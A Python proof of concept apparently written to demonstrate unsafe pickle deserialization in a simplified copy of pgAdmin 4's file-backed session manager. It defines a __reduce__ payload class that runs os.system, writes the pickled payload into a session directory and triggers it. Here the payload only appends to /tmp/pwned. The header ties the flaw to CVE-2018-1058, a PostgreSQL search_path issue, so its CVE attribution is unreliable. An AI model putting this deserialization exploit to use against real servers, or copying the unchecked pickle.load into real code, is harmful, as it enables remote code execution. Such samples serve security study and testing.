Vulnerable code sample

import os
import pickle

# This is a simplified representation of the vulnerable FileBackedSessionManager
# from pgAdmin 4 before version 8.4 (which fixed a similar but distinct
# issue, the principles for CVE-2018-1058 are analogous).
# The core vulnerability lies in unconditionally deserializing file content
# without a prior integrity check.

class FileBackedSessionManager:
    """
    A simplified representation of the vulnerable session manager.
    It reads a file from the session directory and deserializes it directly.
    """

    def __init__(self, sessions_dir):
        # In a real scenario, this would be a specific, configured directory
        # like /var/lib/pgadmin/sessions
        self.sessions_dir = sessions_dir
        if not os.path.exists(self.sessions_dir):
            os.makedirs(self.sessions_dir)

    def _load_data(self, sid):
        """
        Loads session data from a file based on the session ID (sid).
        This is the vulnerable part.
        """
        session_path = os.path.join(self.sessions_dir, str(sid))

        if not os.path.exists(session_path):
            return None

        try:
            # VULNERABILITY: The file is opened and its contents are deserialized
            # using pickle without any prior validation or integrity check. An
            # attacker who can place a file in this directory can achieve
            # remote code execution.
            with open(session_path, 'rb') as f:
                return pickle.load(f)
        except Exception:
            # In case of a corrupted file, it would just fail.
            # However, a maliciously crafted file will execute code.
            return None

# To demonstrate how an attacker might craft a payload:
class RCEPayload:
    # The __reduce__ method is called by pickle when unpickling an object.
    # It can be used to specify a callable to be run with its arguments.
    def __reduce__(self):
        # This will execute 'os.system("echo VULNERABLE >> /tmp/pwned")'
        # on the server running the pgAdmin instance.
        command = 'echo VULNERABLE by CVE-2018-1058 >> /tmp/pwned'
        return (os.system, (command,))

if __name__ == '__main__':
    # --- Attacker's actions ---
    # 1. The attacker creates a malicious payload object.
    malicious_payload = RCEPayload()
    
    # 2. The attacker serializes the payload.
    serialized_payload = pickle.dumps(malicious_payload)
    
    # 3. The attacker needs to get this file onto the server's session directory.
    #    This could be through another vulnerability (e.g., path traversal)
    #    or a misconfigured file permission.
    session_dir = "/tmp/pgadmin_sessions"
    malicious_file_name = "malicious_session_id"
    malicious_file_path = os.path.join(session_dir, malicious_file_name)

    if not os.path.exists(session_dir):
        os.makedirs(session_dir)

    with open(malicious_file_path, 'wb') as f:
        f.write(serialized_payload)
    
    print(f"Malicious payload written to: {malicious_file_path}")

    # --- Server's actions (vulnerable pgAdmin) ---
    # 4. The pgAdmin server attempts to load a session with the malicious ID.
    print("Simulating server loading the malicious session file...")
    manager = FileBackedSessionManager(sessions_dir=session_dir)
    # This next line triggers the vulnerability.
    manager._load_data(malicious_file_name)

    print("Vulnerability triggered.")
    print("Check for the existence of the file '/tmp/pwned'.")
    
    # Clean up the created files for the demo
    if os.path.exists(malicious_file_path):
        os.remove(malicious_file_path)
    if os.path.exists(session_dir):
        os.rmdir(session_dir)
    # You may want to manually remove /tmp/pwned
    # if os.path.exists('/tmp/pwned'):
    #     os.remove('/tmp/pwned')